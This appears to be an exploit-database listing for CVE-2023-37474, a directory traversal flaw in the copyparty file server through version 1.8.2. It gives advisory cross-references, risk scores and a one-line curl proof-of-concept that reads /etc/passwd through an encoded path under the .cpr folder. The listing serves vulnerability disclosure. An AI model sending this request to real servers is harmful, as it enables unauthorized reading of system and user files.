copyparty 1.8.2 - Directory Traversal Vulnerability

🗓️ 28 Jul 2023 00:00:00Reported by Vartamtezidis TheodorosType

zdt🔗 0day.today👁 214 Views

Copyparty 1.8.2 - Directory Traversal Vulnerability allows unauthorized access to file

Reporter	Title	Published	Views	Family All 18
BDU FSTEC	The vulnerability of the Copyparty file server arises from errors in processing the relative path to the restricted access directory. This allows a perpetrator to gain read, modify, or delete access to data.	20 Jul 202300:00	–	bdu_fstec
Circl	CVE-2023-37474	14 Jul 202316:28	–	circl
CNNVD	Copyparty 路径遍历漏洞	14 Jul 202300:00	–	cnnvd
CVE	CVE-2023-37474	14 Jul 202319:55	–	cve
Cvelist	CVE-2023-37474 Path traversal in copyparty	14 Jul 202319:55	–	cvelist
Exploit DB	copyparty 1.8.2 - Directory Traversal	28 Jul 202300:00	–	exploitdb
Github Security Blog	copyparty vulnerable to path traversal attack	14 Jul 202321:59	–	github
Nuclei	Copyparty <= 1.8.2 - Directory Traversal	10 Jun 202605:11	–	nuclei
NVD	CVE-2023-37474	14 Jul 202320:15	–	nvd
OSV	CVE-2023-37474 Path traversal in copyparty	14 Jul 202319:55	–	osv

# Exploit Title: copyparty 1.8.2 - Directory Traversal
# Exploit Author: Vartamtzidis Theodoros (@TheHackyDog)
# Vendor Homepage: https://github.com/9001/copyparty/
# Software Link: https://github.com/9001/copyparty/releases/tag/v1.8.2
# Version: <=1.8.2
# Tested on: Debian Linux
# CVE : CVE-2023-37474




#Description
Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the `.cpr` subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory.

#POC
curl -i -s -k -X  GET 'http://127.0.0.1:3923/.cpr/%2Fetc%2Fpasswd'

28 Jul 2023 00:00Current

7.1High risk

Vulners AI Score7.1

CVSS 3.17.5

CVSS 37.5

EPSS0.90173

SSVC